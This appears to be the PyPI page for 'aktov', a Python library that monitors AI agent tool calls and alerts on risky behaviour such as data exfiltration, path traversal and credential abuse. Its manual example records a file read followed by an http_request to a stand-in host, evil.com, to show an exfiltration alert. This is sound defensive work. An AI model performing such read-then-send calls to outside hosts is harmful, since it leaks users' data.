Skip to main content

Detection engineering for AI agents. Alerts when agents do weird or risky things.

Project description

aktov

PyPI version License Python 3.12+

Detection engineering for AI agents.

pip install aktov — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

Claude Code

pip install aktov
aktov init claude-code
# Done. Alerts appear in real-time during Claude Code sessions.
# Run `aktov report` to review after a session.

OpenClaw

pip install aktov
aktov init openclaw
aktov watch --install   # auto-start on login (macOS/Linux)
# Done. Real-time security monitoring runs in the background.
# Alerts logged to ~/.aktov/logs/watch.log
# Run `aktov watch --status` to check, `aktov watch --uninstall` to remove.

OpenAI Agent SDK

from agents import Agent, Runner
from aktov.integrations.openai_agents import AktovHooks

hooks = AktovHooks(aktov_agent_name="my-agent")
result = await Runner.run(agent, input="...", hooks=hooks)
response = hooks.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

LangChain

from aktov.integrations.langchain import AktovCallback

cb = AktovCallback(aktov_agent_name="my-agent")
agent.invoke("do something", config={"callbacks": [cb]})
response = cb.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

MCP

from aktov.integrations.mcp import wrap

traced = wrap(mcp_client, aktov_agent_name="my-agent")
result = await traced.call_tool("read_file", {"path": "/data/report.csv"})
response = traced.end_trace()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

Manual (any framework)

from aktov import Aktov

ak = Aktov(agent_id="my-agent", agent_type="custom")
trace = ak.start_trace()
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

No API key needed. Works immediately after pip install aktov.

Want to see it in action first? Try the Detection Lab — 5 demos that show real attack detection in 30 seconds.

Setup

Use aktov init to get framework-specific instructions:

aktov init claude-code      # writes hook config automatically
aktov init openclaw         # installs skill + use `aktov watch` for real-time
aktov init openai-agents    # prints code to add
aktov init langchain        # prints code to add
aktov init mcp              # prints code to add
aktov init custom           # prints manual API usage

Connect to Cloud

Add an API key to unlock cross-trace correlation, dedup, webhooks, and the full ruleset:

ak = Aktov(api_key="ak_...", agent_id="my-agent", agent_type="summarizer")

What It Detects

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

  • Data exfiltration — read followed by network egress to external domains
  • Capability escalation — agents accessing tools outside their authorized scope
  • Path traversal../ patterns in tool arguments (prompt injection indicator)
  • Credential abuse — non-credential agents touching secrets/vaults
  • Runaway agents — extreme chain lengths, burst failures, port scanning

Features

  • Plug-and-play: 1-2 lines to integrate with Claude Code, OpenAI Agent SDK, LangChain, MCP
  • Local rule evaluation: trace.end() evaluates bundled rules instantly — no cloud needed
  • Near-zero latency: hooks just append to memory — evaluation only runs at .end()
  • SAFE mode (default): raw arguments never leave your machine — only semantic flags are extracted
  • Custom rules: bring your own YAML detection rules via rules_dir
  • Cloud upgrade: add api_key for cross-trace analysis, dedup, webhooks, dashboard

CLI

# Set up for your framework
aktov init claude-code

# Review Claude Code session alerts
aktov report

# Scan trace files against detection rules (works offline)
aktov scan trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

Custom Rules

Load your own YAML detection rules instead of the bundled samples:

ak = Aktov(agent_id="my-agent", agent_type="summarizer", rules_dir="./my-rules")

SAFE vs DEBUG Mode

SAFE (default) DEBUG
Raw arguments Stripped client-side Included
Semantic flags Extracted and sent Extracted and sent
Use case Production Development only

License

Apache-2.0

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

aktov-0.3.7.tar.gz (76.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

aktov-0.3.7-py3-none-any.whl (66.8 kB view details)

Uploaded Python 3

File details

Details for the file aktov-0.3.7.tar.gz.

File metadata

  • Download URL: aktov-0.3.7.tar.gz
  • Upload date:
  • Size: 76.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.7.tar.gz
Algorithm Hash digest
SHA256 f4d59044d5e13776b2b2d97d11e8a7c94b2e038b2d2843eb09d27a4edc01c2b0
MD5 083cbb3750842eaa8bac773836d9776e
BLAKE2b-256 6c54e121b97139f9adcfdc35a8d943feb70183bf9b90772023557403d27bc718

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.7.tar.gz:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file aktov-0.3.7-py3-none-any.whl.

File metadata

  • Download URL: aktov-0.3.7-py3-none-any.whl
  • Upload date:
  • Size: 66.8 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.7-py3-none-any.whl
Algorithm Hash digest
SHA256 d7b36a47a04324b98279ead1e4ccf81ea6503f66a0bc30cfe6cdf44194e62a11
MD5 b0f338dc2fbe6ea7f911f0f36c4b6e02
BLAKE2b-256 c072e60ba6ce1b1262503d480873fa42e58dfe29bd6aa52a5d5914e1fdff366a

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.7-py3-none-any.whl:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page